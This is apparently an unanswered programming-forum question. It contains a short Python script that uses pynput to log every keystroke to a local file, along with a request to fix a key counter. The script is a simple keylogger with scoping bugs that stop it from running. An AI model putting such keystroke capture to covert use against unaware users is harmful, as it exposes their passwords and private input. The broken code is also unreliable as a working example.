0

I am using this code to log keys and am trying to get it to run a function whenever 10 keys are pressed.

from pynput.keyboard import Key, Listener
import logging
import time
log_dir = ""
amountofkeypressed
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def everysec():
    if amountofkeypressed == 10:
        print("HI")
def on_press(key):

    amountofkeypressed = amountofkeypressed + 1
    everysec()
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    amountofkeypressed = 0
    listener.join()

Any way to fix this?

Sam
  • 35
  • 4

0 Answers0